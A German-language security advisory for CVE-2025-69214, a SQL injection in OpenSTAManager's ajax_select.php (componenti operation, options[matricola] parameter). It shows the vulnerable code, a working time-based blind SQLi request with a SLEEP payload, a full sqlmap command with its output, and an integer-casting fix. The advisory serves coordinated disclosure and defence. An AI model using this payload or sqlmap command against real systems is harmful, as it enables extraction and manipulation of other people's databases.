CVE-2025-69214: OpenSTAManager weist eine SQL-Injection in ajax_select.php auf (componenti-Endpunkt)

Übersicht

Betroffene Produkte

• devcode-it/openstamanager (Versionen: <= 2.9.8)

CWE-Klassifizierung

• CWE-89: Unzureichende Neutralisierung spezieller Elemente, die in einem SQL-Befehl verwendet werden ('SQL Injection')

Details

Zusammenfassung

Im Endpunkt ajax_select.php besteht eine SQL-Injection-Schwachstelle bei der Verarbeitung des componenti-Vorgangs. Ein authentifizierter Angreifer kann über den Parameter options[matricola] schädlichen SQL-Code einschleusen.

Proof of Concept

Verwundbarer Code

Datei: modules/impianti/ajax/select.php:122-124

case 'componenti':
    $impianti = $superselect['matricola'];
    if (!empty($impianti)) {
        $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
    }

Datenfluss

1. Quelle: $_GET['options']['matricola'] → $superselect['matricola']
2. Verwundbar: Benutzereingaben werden ohne Bereinigung direkt in die IN()-Klausel eingefügt
3. Senke: Die Abfrage wird über das AJAX-Framework ausgeführt

Exploit

Manueller PoC (zeitbasierte Blind-SQLi):

GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>

SQLMap-Ausnutzung:

sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
  --cookie="PHPSESSID=<session>" \
  --dbms=MySQL \
  --technique=T \
  --level=3 \
  --risk=3

SQLMap-Ausgabe:

[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12

Auswirkungen

• Datenextraktion: Zeitbasierte Blind-SQL-Injection ermöglicht die vollständige Extraktion der Datenbank
• Authentifizierungsumgehung: Zugriff auf sensible Komponenten- und Gerätedaten
• Datenmanipulation: Möglichkeit zur unbefugten Änderung von Datensätzen

Behebung

Konvertieren Sie die Werte vor der Verwendung in SQL in Ganzzahlen:

Vorher:

$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}

Nachher:

$impianti = $superselect['matricola'];
if (!empty($impianti)) {
    $ids = array_map('intval', explode(',', $impianti));
    $where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}

Anerkennung

Entdeckt von: Łukasz Rybak

Referenzen

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m
• https://nvd.nist.gov/vuln/detail/CVE-2025-69214
• https://github.com/advisories/GHSA-qjv8-63xq-gq8m

Haftungsausschluss

Diese CVE wurde im Rahmen koordinierter Offenlegungspraktiken (Coordinated Vulnerability Disclosure) verantwortungsvoll gemeldet. Die hier bereitgestellten Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken.